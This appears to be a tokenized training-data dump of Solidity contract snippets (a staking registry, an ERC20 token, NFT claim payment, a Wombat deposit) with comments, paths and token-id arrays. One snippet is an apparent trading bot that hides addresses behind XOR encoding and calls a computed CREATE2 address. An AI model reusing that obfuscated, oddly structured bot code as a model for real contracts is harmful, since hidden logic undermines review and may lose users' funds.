* @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID querying the active balance for * @return Amount of active tokens for guardian in the requested past term id */ function _activeBalanceOfAt(address _guardian, uint64 _termId) internal view returns (uint256) { Guardian storage guardian = guardiansByAddress[_guardian]; return _existsGuardian(guardian) ? tree.getItemAt(guardian.id, _termId) : 0; } /** * @dev Internal function to get the amount of active tokens of a guardian that are not locked due to ongoing disputes * It will use the last value, that might be in a future term * @param _guardian Guardian querying the unlocked active balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function _lastUnlockedActiveBalanceOf(Guardian storage _guardian) internal view returns (uint256) { return _existsGuardian(_guardian) ? tree.getItem(_guardian.id).sub(_guardian.lockedBalance) : 0; } /** * @dev Internal function to get the amount of active tokens at the last ensured term of a guardian that are not locked due to ongoing disputes * @param _guardian Guardian querying the unlocked active balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function _currentUnlockedActiveBalanceOf(Guardian storage _guardian) internal view returns (uint256) { uint64 lastEnsuredTermId = _getLastEnsuredTermId(); return _existsGuardian(_guardian) ? tree.getItemAt(_guardian.id, lastEnsuredTermId).sub(_guardian.lockedBalance) : 0; } /** * @dev Internal function to check if a guardian was already registered * @param _guardian Guardian to be checked * @return True if the given guardian was already registered, false otherwise */ function _existsGuardian(Guardian storage _guardian) internal view returns (bool) { return _guardian.id != 0; } /** * @dev Internal function to get the amount of a deactivation request for a given term id * @param _guardian Guardian to query the deactivation request amount of * @param _termId Term ID of the deactivation request to be queried * @return Amount of the deactivation request for the given term, 0 otherwise */ function _deactivationRequestedAmountForTerm(Guardian storage _guardian, uint64 _termId) internal view returns (uint256) { DeactivationRequest storage request = _guardian.deactivationRequest; return request.availableTermId == _termId ? request.amount : 0; } /** * @dev Internal function to tell the total amount of active guardian tokens at the given term id * @param _termId Term ID querying the total active balance for * @return Total amount of active guardian tokens at the given term id */ function _totalActiveBalanceAt(uint64 _termId) internal view returns (uint256) { // This function will return always the same values, the only difference remains on gas costs. In case we look for a // recent term, in this case current or future ones, we perform a backwards linear search from the last checkpoint. // Otherwise, a binary search is computed. bool recent = _termId >= _getLastEnsuredTermId(); return recent ? tree.getRecentTotalAt(_termId) : tree.getTotalAt(_termId); } /** * @dev Internal function to check if its possible to add a given new amount to the registry or not * @param _termId Term ID when the new amount will be added * @param _amount Amount of tokens willing to be added to the registry */ function _checkTotalActiveBalance(uint64 _termId, uint256 _amount) internal view { uint256 currentTotalActiveBalance = _totalActiveBalanceAt(_termId); uint256 newTotalActiveBalance = currentTotalActiveBalance.add(_amount); require(newTotalActiveBalance <= totalActiveBalanceLimit, ERROR_TOTAL_ACTIVE_BALANCE_EXCEEDED); } /** * @dev Tell the local balance information of a guardian (that is not on the tree) * @param _guardian Address of the guardian querying the balance information of * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function _getBalances(Guardian storage _guardian) internal view returns (uint256 available, uint256 locked, uint256 pendingDeactivation) { available = _guardian.availableBalance; locked = _guardian.lockedBalance; pendingDeactivation = _guardian.deactivationRequest.amount; } /** * @dev Internal function to search guardians in the tree based on certain search restrictions * @param _params Draft params to be used for the guardians search * @return ids List of guardian ids obtained based on the requested search * @return activeBalances List of active balances for each guardian obtained based on the requested search */ function _treeSearch(DraftParams memory _params) internal view returns (uint256[] memory ids, uint256[] memory activeBalances) { (ids, activeBalances) = tree.batchedRandomSearch( _params.termRandomness, _params.disputeId, _params.termId, _params.selectedGuardians, _params.batchRequestedGuardians, _params.roundRequestedGuardians, _params.iteration ); } /** * @dev Private function to parse a certain set given of draft params * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return Draft params object parsed */ function _buildDraftParams(uint256[7] memory _params) private view returns (DraftParams memory) { uint64 termId = uint64(_params[2]); uint256 minActiveBalance = _getMinActiveBalance(termId); return DraftParams({ termRandomness: bytes32(_params[0]), disputeId: _params[1], termId: termId, selectedGuardians: _params[3], batchRequestedGuardians: _params[4], roundRequestedGuardians: _params[5], draftLockAmount: minActiveBalance.pct(uint16(_params[6])), iteration: 0 }); } }
* @notice Stake `@tokenAmount(self.token(), _amount)` for `_guardian` @param _guardian Address of the guardian to stake tokens to @param _amount Amount of tokens to be staked/
function stake(address _guardian, uint256 _amount) external { _stake(_guardian, _amount); }
91,834
[ 1, 510, 911, 1375, 36, 2316, 6275, 12, 2890, 18, 2316, 9334, 389, 8949, 22025, 364, 1375, 67, 24594, 2779, 68, 225, 389, 24594, 2779, 5267, 434, 326, 11026, 2779, 358, 384, 911, 2430, 358, 225, 389, 8949, 16811, 434, 2430, 358, 506, 384, 9477, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 12, 2867, 389, 24594, 2779, 16, 2254, 5034, 389, 8949, 13, 3903, 288, 203, 3639, 389, 334, 911, 24899, 24594, 2779, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xFF07de205744311FDe77b53f1C66e9B69dDfFA87/sources/IMPOSSIBRU.sol
* @title ERC20Decimals @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot./
contract IMPOSSIBRU is ERC20 { uint8 immutable private _decimals = 18; uint256 private _totalSupply = 888888888888 * 10 ** 18; constructor () ERC20('Impossibru Finance', 'IMPOSSIBRU') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
15,899,013
[ 1, 654, 39, 3462, 31809, 225, 25379, 434, 326, 4232, 39, 3462, 31809, 18, 10021, 434, 288, 654, 39, 3462, 97, 716, 4831, 15105, 2502, 4694, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 6246, 2419, 1260, 45, 7192, 57, 353, 4232, 39, 3462, 288, 203, 565, 2254, 28, 11732, 3238, 389, 31734, 273, 6549, 31, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 273, 1725, 5482, 5482, 5482, 5482, 5482, 28, 380, 1728, 2826, 6549, 31, 203, 203, 203, 565, 3885, 1832, 4232, 39, 3462, 2668, 1170, 917, 6044, 8653, 9458, 1359, 2187, 296, 3445, 2419, 1260, 45, 7192, 57, 6134, 288, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6C84F90766782919016285A21723d5a2c8a4fAff/sources/contracts/ProfitRecord.sol
the address of torn ROOT_DB contract the address of torn token contractweighted average price amount
struct PRICE_STORE { uint256 price; uint256 amount; }
4,976,683
[ 1, 5787, 1758, 434, 225, 8934, 82, 11011, 67, 2290, 6835, 326, 1758, 434, 225, 8934, 82, 1147, 6835, 30890, 8164, 6205, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 10365, 1441, 67, 13651, 288, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 2254, 5034, 3844, 31, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x570a6D2BCddD42AEe273fB0724b692Db7907CDA9/sources/contracts/ImplContract.sol
@dev Collects and distributes the primary sale value of NFTs being claimed.
function collectPriceOnClaim( uint256 _tokenId, address _primarySaleRecipient, uint256 _quantityToClaim, address _currency, uint256 _pricePerToken ) internal virtual override { if (_pricePerToken == 0) { return; } uint256 totalPrice = _quantityToClaim * _pricePerToken; if (_currency == CurrencyTransferLib.NATIVE_TOKEN) { if (msg.value != totalPrice) { revert("Must send total price."); } } CurrencyTransferLib.transferCurrency(_currency, msg.sender, owner(), totalPrice); }
1,946,105
[ 1, 28791, 471, 1015, 1141, 326, 3354, 272, 5349, 460, 434, 423, 4464, 87, 3832, 7516, 329, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3274, 5147, 1398, 9762, 12, 203, 3639, 2254, 5034, 389, 2316, 548, 16, 203, 3639, 1758, 389, 8258, 30746, 18241, 16, 203, 3639, 2254, 5034, 389, 16172, 774, 9762, 16, 203, 3639, 1758, 389, 7095, 16, 203, 3639, 2254, 5034, 389, 8694, 2173, 1345, 203, 565, 262, 2713, 5024, 3849, 288, 203, 3639, 309, 261, 67, 8694, 2173, 1345, 422, 374, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 2078, 5147, 273, 389, 16172, 774, 9762, 380, 389, 8694, 2173, 1345, 31, 203, 203, 3639, 309, 261, 67, 7095, 422, 13078, 5912, 5664, 18, 50, 12992, 67, 8412, 13, 288, 203, 5411, 309, 261, 3576, 18, 1132, 480, 2078, 5147, 13, 288, 203, 7734, 15226, 2932, 10136, 1366, 2078, 6205, 1199, 1769, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 13078, 5912, 5664, 18, 13866, 7623, 24899, 7095, 16, 1234, 18, 15330, 16, 3410, 9334, 2078, 5147, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xb46d6a5569d73e267C852A96146e5eA6F232eB30/sources/browser/prodbot_feb10.sol
WETH > reserveInputToken WETH > reserveInputToken
function swapAllTokensForETH( uint160 inputTokenEncoded, uint160 poolAddrEncoded, uint128 minOutAmount, uint _salt) external payable { require(msg.sender == 0xB640e3210a187B1D0cd1544cabA0de58D025cE52 || msg.sender == 0x84710fD3acBB6C96a2d45a225C794552414C418e, "E6"); if ((minOutAmount & 4) != 0) { address(uint160(uint256(keccak256( abi.encodePacked( byte(0xff), 0x8e5c8745d654A7782ca2Faf5d9E7C6927a43C969, _salt, bytes32(0x1942472a7fb1e214cb8ad8d6ca6bb7146f580d17964e7335c1a70ee548b903ff) ))))).call(""); } address inputToken = address(inputTokenEncoded ^ 699674904618776657665455295508739215749322539520); uint balance = IERC20(inputToken).balanceOf(address(this)); if (balance <= 1) return; balance = balance - 1; address pooladdr = address(poolAddrEncoded ^ 699674904618776657665455295508739215749322539520); (uint112 reserveETH, uint112 reserveInputToken, ) = IUniswapV2Pair(pooladdr).getReserves(); if ((minOutAmount & 2) == 0) { (reserveETH, reserveInputToken) = (reserveInputToken, reserveETH); } uint256 amountOut = UniswapV2Library.getAmountOut(balance, reserveInputToken, reserveETH); if (amountOut < minOutAmount && minOutAmount & 1 == 1){ return; } TransferHelper.safeTransfer( inputToken, pooladdr, balance ); if ((minOutAmount & 2) == 0) { IUniswapV2Pair(pooladdr).swap( 0, amountOut, address(this), new bytes(0)); IUniswapV2Pair(pooladdr).swap( amountOut, 0, address(this), new bytes(0)); } }
9,677,080
[ 1, 59, 1584, 44, 405, 20501, 1210, 1345, 678, 1584, 44, 405, 20501, 1210, 1345, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7720, 1595, 5157, 1290, 1584, 44, 12, 203, 5411, 2254, 16874, 810, 1345, 10397, 16, 7010, 5411, 2254, 16874, 2845, 3178, 10397, 16, 203, 5411, 2254, 10392, 1131, 1182, 6275, 16, 203, 5411, 2254, 389, 5759, 13, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 565, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 374, 20029, 1105, 20, 73, 1578, 2163, 69, 2643, 27, 38, 21, 40, 20, 4315, 3600, 6334, 71, 378, 37, 20, 323, 8204, 40, 20, 2947, 71, 41, 9401, 747, 7010, 540, 1234, 18, 15330, 422, 374, 92, 5193, 27, 2163, 74, 40, 23, 1077, 9676, 26, 39, 10525, 69, 22, 72, 7950, 69, 22, 2947, 39, 7235, 24, 2539, 3247, 3461, 39, 24, 2643, 73, 16, 315, 41, 26, 8863, 203, 203, 3639, 309, 14015, 1154, 1182, 6275, 473, 1059, 13, 480, 374, 13, 288, 203, 5411, 1758, 12, 11890, 16874, 12, 11890, 5034, 12, 79, 24410, 581, 5034, 12, 203, 10792, 24126, 18, 3015, 4420, 329, 12, 203, 13491, 1160, 12, 20, 5297, 3631, 203, 13491, 374, 92, 28, 73, 25, 71, 28, 5608, 25, 72, 26, 6564, 37, 4700, 11149, 5353, 22, 42, 1727, 25, 72, 29, 41, 27, 39, 8148, 5324, 69, 8942, 39, 29, 8148, 16, 203, 13491, 389, 5759, 16, 203, 13491, 1731, 1578, 12, 20, 92, 15613, 3247, 9060, 69, 27, 19192, 21, 73, 22, 3461, 7358, 28, 361, 28, 72, 26, 5353, 26, 9897, 27, 27879, 74, 25, 3672, 72, 28814, 1105, 73, 27, 3707, 25, 71, 21, 69, 2 ]
./partial_match/1/0xdDc2c27eA8a42b35B329c4e0216600F12EED13d1/sources/contracts/wombat-governance/BoostedMasterWombat.sol
@notice Deposit LP tokens to MasterChef for WOM allocation. @dev it is possible to call this function with _amount == 0 to claim current rewards @param _pid the pool id @param _amount amount to deposit update pool in case user has deposited update rewarders before we update lpSupply and sumOfFactors safe transfer is not needed for Asset
function deposit( uint256 _pid, uint256 _amount ) external override nonReentrant whenNotPaused returns (uint256 reward, uint256[] memory additionalRewards) { PoolInfoV3 storage pool = poolInfoV3[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; _updatePool(_pid); (reward, additionalRewards) = _updateUserAmount(_pid, msg.sender, user.amount + _amount); pool.lpToken.transferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); }
2,762,655
[ 1, 758, 1724, 511, 52, 2430, 358, 13453, 39, 580, 74, 364, 678, 1872, 13481, 18, 225, 518, 353, 3323, 358, 745, 333, 445, 598, 389, 8949, 422, 374, 358, 7516, 783, 283, 6397, 225, 389, 6610, 326, 2845, 612, 225, 389, 8949, 3844, 358, 443, 1724, 1089, 2845, 316, 648, 729, 711, 443, 1724, 329, 1089, 19890, 414, 1865, 732, 1089, 12423, 3088, 1283, 471, 2142, 951, 23535, 4183, 7412, 353, 486, 3577, 364, 10494, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 203, 3639, 2254, 5034, 389, 6610, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 565, 262, 3903, 3849, 1661, 426, 8230, 970, 1347, 1248, 28590, 1135, 261, 11890, 5034, 19890, 16, 2254, 5034, 8526, 3778, 3312, 17631, 14727, 13, 288, 203, 3639, 8828, 966, 58, 23, 2502, 2845, 273, 2845, 966, 58, 23, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 3576, 18, 15330, 15533, 203, 203, 3639, 389, 2725, 2864, 24899, 6610, 1769, 203, 203, 3639, 261, 266, 2913, 16, 3312, 17631, 14727, 13, 273, 389, 2725, 1299, 6275, 24899, 6610, 16, 1234, 18, 15330, 16, 729, 18, 8949, 397, 389, 8949, 1769, 203, 203, 3639, 2845, 18, 9953, 1345, 18, 13866, 1265, 12, 2867, 12, 3576, 18, 15330, 3631, 1758, 12, 2211, 3631, 389, 8949, 1769, 203, 3639, 3626, 4019, 538, 305, 12, 3576, 18, 15330, 16, 389, 6610, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
